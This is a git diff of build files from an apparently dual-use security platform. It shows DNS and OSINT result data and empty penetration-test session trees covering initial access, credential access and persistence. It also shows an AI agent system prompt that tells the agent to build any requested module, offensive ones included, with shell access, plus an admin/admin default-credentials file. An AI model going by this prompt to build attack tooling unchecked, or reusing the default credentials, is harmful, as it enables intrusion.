"serial": 1772537115,
|
||||
"refresh": 3600,
|
||||
"retry": 600,
|
||||
"expire": 86400,
|
||||
"min_ttl": 300
|
||||
},
|
||||
"records": [
|
||||
{
|
||||
"id": "ns1",
|
||||
"type": "NS",
|
||||
"name": "autarch.local.",
|
||||
"value": "ns1.autarch.local.",
|
||||
"ttl": 3600
|
||||
},
|
||||
{
|
||||
"id": "mx1",
|
||||
"type": "MX",
|
||||
"name": "autarch.local.",
|
||||
"value": "mx.autarch.local.",
|
||||
"ttl": 3600,
|
||||
"priority": 10
|
||||
},
|
||||
{
|
||||
"id": "spf1",
|
||||
"type": "TXT",
|
||||
"name": "autarch.local.",
|
||||
"value": "v=spf1 ip4:127.0.0.1 -all",
|
||||
"ttl": 3600
|
||||
},
|
||||
{
|
||||
"id": "dmarc1",
|
||||
"type": "TXT",
|
||||
"name": "_dmarc.autarch.local.",
|
||||
"value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local",
|
||||
"ttl": 3600
|
||||
},
|
||||
{
|
||||
"id": "r1772537722879235900",
|
||||
"type": "A",
|
||||
"name": "https://autarch.local",
|
||||
"value": "10.0.0.56:8181",
|
||||
"ttl": 300
|
||||
}
|
||||
],
|
||||
"dnssec": true,
|
||||
"created_at": "2026-03-03T11:25:07Z",
|
||||
"updated_at": "2026-03-03T12:24:00Z"
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
Site,URL,Category,Status,Confidence
|
||||
GitHub,https://github.com/test,,good,85
|
||||
|
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"query": "testuser",
|
||||
"exported": "2026-02-14T04:18:34.669640",
|
||||
"total_results": 1,
|
||||
"results": [
|
||||
{
|
||||
"name": "GitHub",
|
||||
"url": "https://github.com/test",
|
||||
"status": "good",
|
||||
"rate": 85
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group.
|
||||
|
||||
## Your Capabilities
|
||||
You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user asks you to build a tool or module, you build it.
|
||||
|
||||
## AUTARCH Codebase Structure
|
||||
- `modules/` — Plugin modules (Python files). Each one is a standalone tool.
|
||||
- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.)
|
||||
- `web/` — Flask web dashboard (routes/, templates/, static/)
|
||||
- `data/` — Databases, configs, JSON files
|
||||
- `models/` — LLM model files (GGUF)
|
||||
|
||||
## Module Categories
|
||||
| Category | Color | Purpose |
|
||||
|----------|-------|---------|
|
||||
| defense | Blue | Security hardening, monitoring, firewalls |
|
||||
| offense | Red | Penetration testing, exploitation |
|
||||
| counter | Purple | Counter-intelligence, threat response |
|
||||
| analyze | Cyan | Analysis, forensics, packet inspection |
|
||||
| osint | Green | Open source intelligence gathering |
|
||||
| simulate | Yellow | Attack simulation, red team exercises |
|
||||
|
||||
## How to Create a Module
|
||||
Every module in `modules/` MUST have these attributes and a `run()` function:
|
||||
|
||||
```python
|
||||
"""
|
||||
Module description docstring
|
||||
"""
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
# Module metadata — REQUIRED
|
||||
DESCRIPTION = "What this module does"
|
||||
AUTHOR = "darkHal"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
from core.banner import Colors, clear_screen, display_banner
|
||||
|
||||
|
||||
class ModuleClassName:
|
||||
"""Main class for this module."""
|
||||
|
||||
def print_status(self, message, status="info"):
|
||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
||||
|
||||
def run_cmd(self, cmd, timeout=30):
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
return r.returncode == 0, r.stdout.strip()
|
||||
except Exception as e:
|
||||
return False, str(e)
|
||||
|
||||
# Add your methods here...
|
||||
|
||||
|
||||
def run():
|
||||
"""Entry point for CLI mode."""
|
||||
mod = ModuleClassName()
|
||||
# Interactive menu or direct execution
|
||||
```
|
||||
|
||||
## Important Rules
|
||||
1. Use the `create_module` tool to write modules — it validates and saves them automatically
|
||||
2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY
|
||||
3. Always include a `run()` function
|
||||
4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash)
|
||||
5. Import from `core.banner` for Colors
|
||||
6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`)
|
||||
7. Study existing modules with `read_file` if you need to understand patterns
|
||||
8. The web dashboard discovers modules automatically from the `modules/` directory
|
||||
|
||||
## Platform
|
||||
This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks.
|
||||
|
||||
## Existing Modules (for reference)
|
||||
- defender.py — System hardening checks (CATEGORY: defense)
|
||||
- defender_windows.py — Windows-native security checks (CATEGORY: defense)
|
||||
- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense)
|
||||
- recon.py — Network reconnaissance (CATEGORY: offense)
|
||||
- counter.py — Counter-intelligence tools (CATEGORY: counter)
|
||||
- adultscan.py — Adult content scanner (CATEGORY: analyze)
|
||||
- agent_hal.py — AI security automation (CATEGORY: core)
|
||||
- wireshark.py — Packet analysis (CATEGORY: analyze)
|
||||
- hardware_local.py — Hardware interaction (CATEGORY: hardware)
|
||||
|
||||
## How You Should Respond
|
||||
- For simple questions: answer directly
|
||||
- For module creation requests: use the create_module tool
|
||||
- For system queries: use the shell tool
|
||||
- For code exploration: use read_file and search_files
|
||||
- Always explain what you're doing and why
|
||||
@@ -0,0 +1,129 @@
|
||||
{
|
||||
"session_id": "10_0_0_56_20260214_010220",
|
||||
"target": "10.0.0.56",
|
||||
"state": "completed",
|
||||
"created_at": "2026-02-14T01:02:20.746609",
|
||||
"updated_at": "2026-02-14T01:12:20.951316",
|
||||
"notes": "",
|
||||
"step_count": 0,
|
||||
"tree": {
|
||||
"target": "10.0.0.56",
|
||||
"created_at": "2026-02-14T01:02:20.746597",
|
||||
"updated_at": "2026-02-14T01:02:20.746742",
|
||||
"root_nodes": [
|
||||
"e0d00dbc",
|
||||
"cf120ead",
|
||||
"6f4a664c",
|
||||
"814f0376",
|
||||
"5b602881",
|
||||
"4d2e70e8"
|
||||
],
|
||||
"nodes": {
|
||||
"e0d00dbc": {
|
||||
"id": "e0d00dbc",
|
||||
"label": "Reconnaissance",
|
||||
"node_type": "reconnaissance",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Information gathering and target enumeration",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 1,
|
||||
"created_at": "2026-02-14T01:02:20.746668",
|
||||
"updated_at": "2026-02-14T01:02:20.746668"
|
||||
},
|
||||
"cf120ead": {
|
||||
"id": "cf120ead",
|
||||
"label": "Initial Access",
|
||||
"node_type": "initial_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Gaining initial foothold on target",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 2,
|
||||
"created_at": "2026-02-14T01:02:20.746685",
|
||||
"updated_at": "2026-02-14T01:02:20.746685"
|
||||
},
|
||||
"6f4a664c": {
|
||||
"id": "6f4a664c",
|
||||
"label": "Privilege Escalation",
|
||||
"node_type": "privilege_escalation",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Escalating from initial access to higher privileges",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-02-14T01:02:20.746699",
|
||||
"updated_at": "2026-02-14T01:02:20.746699"
|
||||
},
|
||||
"814f0376": {
|
||||
"id": "814f0376",
|
||||
"label": "Lateral Movement",
|
||||
"node_type": "lateral_movement",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Moving to other systems in the network",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 4,
|
||||
"created_at": "2026-02-14T01:02:20.746711",
|
||||
"updated_at": "2026-02-14T01:02:20.746711"
|
||||
},
|
||||
"5b602881": {
|
||||
"id": "5b602881",
|
||||
"label": "Credential Access",
|
||||
"node_type": "credential_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Obtaining credentials and secrets",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-02-14T01:02:20.746726",
|
||||
"updated_at": "2026-02-14T01:02:20.746726"
|
||||
},
|
||||
"4d2e70e8": {
|
||||
"id": "4d2e70e8",
|
||||
"label": "Persistence",
|
||||
"node_type": "persistence",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Maintaining access to compromised systems",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 5,
|
||||
"created_at": "2026-02-14T01:02:20.746739",
|
||||
"updated_at": "2026-02-14T01:02:20.746739"
|
||||
}
|
||||
}
|
||||
},
|
||||
"events": [
|
||||
{
|
||||
"timestamp": "2026-02-14T01:02:20.746747",
|
||||
"event_type": "state_change",
|
||||
"data": {
|
||||
"from": "idle",
|
||||
"to": "running"
|
||||
}
|
||||
},
|
||||
{
|
||||
"timestamp": "2026-02-14T01:12:20.951316",
|
||||
"event_type": "state_change",
|
||||
"data": {
|
||||
"from": "running",
|
||||
"to": "completed",
|
||||
"summary": ""
|
||||
}
|
||||
}
|
||||
],
|
||||
"findings": [],
|
||||
"pipeline_history": []
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
{
|
||||
"session_id": "192_168_1_100_20260127_202421",
|
||||
"target": "192.168.1.100",
|
||||
"state": "running",
|
||||
"created_at": "2026-01-27T20:24:21.604010",
|
||||
"updated_at": "2026-01-27T20:24:21.604098",
|
||||
"notes": "",
|
||||
"step_count": 0,
|
||||
"tree": {
|
||||
"target": "192.168.1.100",
|
||||
"created_at": "2026-01-27T20:24:21.604003",
|
||||
"updated_at": "2026-01-27T20:24:21.604091",
|
||||
"root_nodes": [
|
||||
"4be13ed9",
|
||||
"8dc38740",
|
||||
"22ee2768",
|
||||
"2c45477f",
|
||||
"6f793ae8",
|
||||
"778fc896"
|
||||
],
|
||||
"nodes": {
|
||||
"4be13ed9": {
|
||||
"id": "4be13ed9",
|
||||
"label": "Reconnaissance",
|
||||
"node_type": "reconnaissance",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Information gathering and target enumeration",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 1,
|
||||
"created_at": "2026-01-27T20:24:21.604032",
|
||||
"updated_at": "2026-01-27T20:24:21.604032"
|
||||
},
|
||||
"8dc38740": {
|
||||
"id": "8dc38740",
|
||||
"label": "Initial Access",
|
||||
"node_type": "initial_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Gaining initial foothold on target",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 2,
|
||||
"created_at": "2026-01-27T20:24:21.604044",
|
||||
"updated_at": "2026-01-27T20:24:21.604044"
|
||||
},
|
||||
"22ee2768": {
|
||||
"id": "22ee2768",
|
||||
"label": "Privilege Escalation",
|
||||
"node_type": "privilege_escalation",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Escalating from initial access to higher privileges",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-01-27T20:24:21.604056",
|
||||
"updated_at": "2026-01-27T20:24:21.604056"
|
||||
},
|
||||
"2c45477f": {
|
||||
"id": "2c45477f",
|
||||
"label": "Lateral Movement",
|
||||
"node_type": "lateral_movement",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Moving to other systems in the network",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 4,
|
||||
"created_at": "2026-01-27T20:24:21.604066",
|
||||
"updated_at": "2026-01-27T20:24:21.604066"
|
||||
},
|
||||
"6f793ae8": {
|
||||
"id": "6f793ae8",
|
||||
"label": "Credential Access",
|
||||
"node_type": "credential_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Obtaining credentials and secrets",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-01-27T20:24:21.604077",
|
||||
"updated_at": "2026-01-27T20:24:21.604077"
|
||||
},
|
||||
"778fc896": {
|
||||
"id": "778fc896",
|
||||
"label": "Persistence",
|
||||
"node_type": "persistence",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Maintaining access to compromised systems",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 5,
|
||||
"created_at": "2026-01-27T20:24:21.604088",
|
||||
"updated_at": "2026-01-27T20:24:21.604088"
|
||||
}
|
||||
}
|
||||
},
|
||||
"events": [
|
||||
{
|
||||
"timestamp": "2026-01-27T20:24:21.604098",
|
||||
"event_type": "state_change",
|
||||
"data": {
|
||||
"from": "idle",
|
||||
"to": "running"
|
||||
}
|
||||
}
|
||||
],
|
||||
"findings": [],
|
||||
"pipeline_history": []
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
{
|
||||
"session_id": "192_168_50_78_20260130_133833",
|
||||
"target": "192.168.50.78",
|
||||
"state": "running",
|
||||
"created_at": "2026-01-30T13:38:33.830336",
|
||||
"updated_at": "2026-01-30T13:38:33.830464",
|
||||
"notes": "",
|
||||
"step_count": 0,
|
||||
"tree": {
|
||||
"target": "192.168.50.78",
|
||||
"created_at": "2026-01-30T13:38:33.830323",
|
||||
"updated_at": "2026-01-30T13:38:33.830460",
|
||||
"root_nodes": [
|
||||
"e4c40c28",
|
||||
"ddd63828",
|
||||
"b3f2634d",
|
||||
"9c162c78",
|
||||
"aa40d5a3",
|
||||
"0c50a23d"
|
||||
],
|
||||
"nodes": {
|
||||
"e4c40c28": {
|
||||
"id": "e4c40c28",
|
||||
"label": "Reconnaissance",
|
||||
"node_type": "reconnaissance",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Information gathering and target enumeration",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 1,
|
||||
"created_at": "2026-01-30T13:38:33.830390",
|
||||
"updated_at": "2026-01-30T13:38:33.830390"
|
||||
},
|
||||
"ddd63828": {
|
||||
"id": "ddd63828",
|
||||
"label": "Initial Access",
|
||||
"node_type": "initial_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Gaining initial foothold on target",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 2,
|
||||
"created_at": "2026-01-30T13:38:33.830408",
|
||||
"updated_at": "2026-01-30T13:38:33.830408"
|
||||
},
|
||||
"b3f2634d": {
|
||||
"id": "b3f2634d",
|
||||
"label": "Privilege Escalation",
|
||||
"node_type": "privilege_escalation",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Escalating from initial access to higher privileges",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-01-30T13:38:33.830421",
|
||||
"updated_at": "2026-01-30T13:38:33.830421"
|
||||
},
|
||||
"9c162c78": {
|
||||
"id": "9c162c78",
|
||||
"label": "Lateral Movement",
|
||||
"node_type": "lateral_movement",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Moving to other systems in the network",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 4,
|
||||
"created_at": "2026-01-30T13:38:33.830433",
|
||||
"updated_at": "2026-01-30T13:38:33.830433"
|
||||
},
|
||||
"aa40d5a3": {
|
||||
"id": "aa40d5a3",
|
||||
"label": "Credential Access",
|
||||
"node_type": "credential_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Obtaining credentials and secrets",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-01-30T13:38:33.830445",
|
||||
"updated_at": "2026-01-30T13:38:33.830445"
|
||||
},
|
||||
"0c50a23d": {
|
||||
"id": "0c50a23d",
|
||||
"label": "Persistence",
|
||||
"node_type": "persistence",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Maintaining access to compromised systems",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 5,
|
||||
"created_at": "2026-01-30T13:38:33.830457",
|
||||
"updated_at": "2026-01-30T13:38:33.830457"
|
||||
}
|
||||
}
|
||||
},
|
||||
"events": [
|
||||
{
|
||||
"timestamp": "2026-01-30T13:38:33.830464",
|
||||
"event_type": "state_change",
|
||||
"data": {
|
||||
"from": "idle",
|
||||
"to": "running"
|
||||
}
|
||||
}
|
||||
],
|
||||
"findings": [],
|
||||
"pipeline_history": []
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
{
|
||||
"session_id": "example_com_20260128_192244",
|
||||
"target": "example.com",
|
||||
"state": "running",
|
||||
"created_at": "2026-01-28T19:22:44.670292",
|
||||
"updated_at": "2026-01-28T19:22:44.670428",
|
||||
"notes": "test",
|
||||
"step_count": 0,
|
||||
"tree": {
|
||||
"target": "example.com",
|
||||
"created_at": "2026-01-28T19:22:44.670279",
|
||||
"updated_at": "2026-01-28T19:22:44.670423",
|
||||
"root_nodes": [
|
||||
"466dcf04",
|
||||
"55991daa",
|
||||
"e3209082",
|
||||
"af036f87",
|
||||
"633c0eeb",
|
||||
"8584f7fc"
|
||||
],
|
||||
"nodes": {
|
||||
"466dcf04": {
|
||||
"id": "466dcf04",
|
||||
"label": "Reconnaissance",
|
||||
"node_type": "reconnaissance",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Information gathering and target enumeration",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 1,
|
||||
"created_at": "2026-01-28T19:22:44.670353",
|
||||
"updated_at": "2026-01-28T19:22:44.670353"
|
||||
},
|
||||
"55991daa": {
|
||||
"id": "55991daa",
|
||||
"label": "Initial Access",
|
||||
"node_type": "initial_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Gaining initial foothold on target",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 2,
|
||||
"created_at": "2026-01-28T19:22:44.670371",
|
||||
"updated_at": "2026-01-28T19:22:44.670371"
|
||||
},
|
||||
"e3209082": {
|
||||
"id": "e3209082",
|
||||
"label": "Privilege Escalation",
|
||||
"node_type": "privilege_escalation",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Escalating from initial access to higher privileges",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-01-28T19:22:44.670384",
|
||||
"updated_at": "2026-01-28T19:22:44.670384"
|
||||
},
|
||||
"af036f87": {
|
||||
"id": "af036f87",
|
||||
"label": "Lateral Movement",
|
||||
"node_type": "lateral_movement",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Moving to other systems in the network",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 4,
|
||||
"created_at": "2026-01-28T19:22:44.670397",
|
||||
"updated_at": "2026-01-28T19:22:44.670397"
|
||||
},
|
||||
"633c0eeb": {
|
||||
"id": "633c0eeb",
|
||||
"label": "Credential Access",
|
||||
"node_type": "credential_access",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Obtaining credentials and secrets",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 3,
|
||||
"created_at": "2026-01-28T19:22:44.670408",
|
||||
"updated_at": "2026-01-28T19:22:44.670408"
|
||||
},
|
||||
"8584f7fc": {
|
||||
"id": "8584f7fc",
|
||||
"label": "Persistence",
|
||||
"node_type": "persistence",
|
||||
"status": "todo",
|
||||
"parent_id": null,
|
||||
"children": [],
|
||||
"details": "Maintaining access to compromised systems",
|
||||
"tool_output": null,
|
||||
"findings": [],
|
||||
"priority": 5,
|
||||
"created_at": "2026-01-28T19:22:44.670420",
|
||||
"updated_at": "2026-01-28T19:22:44.670420"
|
||||
}
|
||||
}
|
||||
},
|
||||
"events": [
|
||||
{
|
||||
"timestamp": "2026-01-28T19:22:44.670428",
|
||||
"event_type": "state_change",
|
||||
"data": {
|
||||
"from": "idle",
|
||||
"to": "running"
|
||||
}
|
||||
}
|
||||
],
|
||||
"findings": [],
|
||||
"pipeline_history": []
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
76365
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh.json
Normal file
76365
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh.json
Normal file
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
63308
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/snoop.json
Normal file
63308
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/snoop.json
Normal file
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
63748
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/test.json
Normal file
63748
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/test.json
Normal file
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env python3
|
||||
"""AUTARCH LoRA Training Script (Transformers + PEFT)"""
|
||||
import json
|
||||
import torch
|
||||
from datasets import Dataset
|
||||
from transformers import (
|
||||
AutoModelForCausalLM, AutoTokenizer, TrainingArguments,
|
||||
BitsAndBytesConfig,
|
||||
)
|
||||
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
|
||||
from trl import SFTTrainer
|
||||
|
||||
# Quantization config
|
||||
bnb_config = BitsAndBytesConfig(
|
||||
load_in_4bit=True,
|
||||
bnb_4bit_quant_type="nf4",
|
||||
bnb_4bit_compute_dtype=torch.float16,
|
||||
bnb_4bit_use_double_quant=True,
|
||||
) if True else None
|
||||
|
||||
print("Loading base model: models/Hal_v2.gguf")
|
||||
model = AutoModelForCausalLM.from_pretrained(
|
||||
"models/Hal_v2.gguf",
|
||||
quantization_config=bnb_config,
|
||||
device_map="auto",
|
||||
trust_remote_code=False,
|
||||
)
|
||||
tokenizer = AutoTokenizer.from_pretrained("models/Hal_v2.gguf", trust_remote_code=False)
|
||||
if tokenizer.pad_token is None:
|
||||
tokenizer.pad_token = tokenizer.eos_token
|
||||
|
||||
if True:
|
||||
model = prepare_model_for_kbit_training(model)
|
||||
|
||||
# LoRA config
|
||||
lora_config = LoraConfig(
|
||||
r=16,
|
||||
lora_alpha=32,
|
||||
lora_dropout=0.05,
|
||||
target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
|
||||
"gate_proj", "up_proj", "down_proj"],
|
||||
bias="none",
|
||||
task_type="CAUSAL_LM",
|
||||
)
|
||||
model = get_peft_model(model, lora_config)
|
||||
model.print_trainable_parameters()
|
||||
|
||||
# Load dataset
|
||||
samples = []
|
||||
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
|
||||
for line in f:
|
||||
samples.append(json.loads(line))
|
||||
|
||||
def format_sample(sample):
|
||||
if "conversations" in sample:
|
||||
msgs = sample["conversations"]
|
||||
text = ""
|
||||
for msg in msgs:
|
||||
role = "user" if msg["from"] == "human" else "assistant"
|
||||
text += f"<|im_start|>{role}\n{msg['value']}<|im_end|>\n"
|
||||
return {"text": text}
|
||||
else:
|
||||
return {"text": f"<|im_start|>user\n{sample['instruction']}\n{sample.get('input','')}<|im_end|>\n<|im_start|>assistant\n{sample['output']}<|im_end|>\n"}
|
||||
|
||||
dataset = Dataset.from_list([format_sample(s) for s in samples])
|
||||
print(f"Dataset: {len(dataset)} samples")
|
||||
|
||||
# Train
|
||||
trainer = SFTTrainer(
|
||||
model=model,
|
||||
tokenizer=tokenizer,
|
||||
train_dataset=dataset,
|
||||
dataset_text_field="text",
|
||||
max_seq_length=2048,
|
||||
args=TrainingArguments(
|
||||
output_dir="C:\she\autarch\data\training\output",
|
||||
num_train_epochs=3,
|
||||
per_device_train_batch_size=4,
|
||||
gradient_accumulation_steps=4,
|
||||
learning_rate=0.0002,
|
||||
warmup_ratio=0.03,
|
||||
save_steps=50,
|
||||
logging_steps=10,
|
||||
fp16=True,
|
||||
optim="adamw_8bit",
|
||||
report_to="none",
|
||||
),
|
||||
)
|
||||
|
||||
print("Starting training...")
|
||||
trainer.train()
|
||||
print("Training complete!")
|
||||
|
||||
# Save
|
||||
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
|
||||
@@ -0,0 +1,14 @@
|
||||
C:\she\autarch\data\training\train_lora.py:50: SyntaxWarning: invalid escape sequence '\s'
|
||||
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
|
||||
C:\she\autarch\data\training\train_lora.py:76: SyntaxWarning: invalid escape sequence '\s'
|
||||
output_dir="C:\she\autarch\data\training\output",
|
||||
C:\she\autarch\data\training\train_lora.py:95: SyntaxWarning: invalid escape sequence '\s'
|
||||
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||
C:\she\autarch\data\training\train_lora.py:96: SyntaxWarning: invalid escape sequence '\s'
|
||||
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||
C:\she\autarch\data\training\train_lora.py:97: SyntaxWarning: invalid escape sequence '\s'
|
||||
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
|
||||
Traceback (most recent call last):
|
||||
File "C:\she\autarch\data\training\train_lora.py", line 5, in <module>
|
||||
from datasets import Dataset
|
||||
ModuleNotFoundError: No module named 'datasets'
|
||||
Binary file not shown.
@@ -0,0 +1,5 @@
|
||||
{
|
||||
"username": "admin",
|
||||
"password": "admin",
|
||||
"force_change": true
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pip
|
||||
@@ -0,0 +1,91 @@
|
||||
Metadata-Version: 2.4
|
||||
Name: Flask
|
||||
Version: 3.1.3
|
||||
Summary: A simple framework for building complex web applications.
|
||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
||||
Requires-Python: >=3.9
|
||||
Description-Content-Type: text/markdown
|
||||
License-Expression: BSD-3-Clause
|
||||
Classifier: Development Status :: 5 - Production/Stable
|
||||
Classifier: Environment :: Web Environment
|
||||
Classifier: Framework :: Flask
|
||||
Classifier: Intended Audience :: Developers
|
||||
Classifier: Operating System :: OS Independent
|
||||
Classifier: Programming Language :: Python
|
||||
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
|
||||
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI
|
||||
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI :: Application
|
||||
Classifier: Topic :: Software Development :: Libraries :: Application Frameworks
|
||||
Classifier: Typing :: Typed
|
||||
License-File: LICENSE.txt
|
||||
Requires-Dist: blinker>=1.9.0
|
||||
Requires-Dist: click>=8.1.3
|
||||
Requires-Dist: importlib-metadata>=3.6.0; python_version < '3.10'
|
||||
Requires-Dist: itsdangerous>=2.2.0
|
||||
Requires-Dist: jinja2>=3.1.2
|
||||
Requires-Dist: markupsafe>=2.1.1
|
||||
Requires-Dist: werkzeug>=3.1.0
|
||||
Requires-Dist: asgiref>=3.2 ; extra == "async"
|
||||
Requires-Dist: python-dotenv ; extra == "dotenv"
|
||||
Project-URL: Changes, https://flask.palletsprojects.com/page/changes/
|
||||
Project-URL: Chat, https://discord.gg/pallets
|
||||
Project-URL: Documentation, https://flask.palletsprojects.com/
|
||||
Project-URL: Donate, https://palletsprojects.com/donate
|
||||
Project-URL: Source, https://github.com/pallets/flask/
|
||||
Provides-Extra: async
|
||||
Provides-Extra: dotenv
|
||||
|
||||
<div align="center"><img src="https://raw.githubusercontent.com/pallets/flask/refs/heads/stable/docs/_static/flask-name.svg" alt="" height="150"></div>
|
||||
|
||||
# Flask
|
||||
|
||||
Flask is a lightweight [WSGI] web application framework. It is designed
|
||||
to make getting started quick and easy, with the ability to scale up to
|
||||
complex applications. It began as a simple wrapper around [Werkzeug]
|
||||
and [Jinja], and has become one of the most popular Python web
|
||||
application frameworks.
|
||||
|
||||
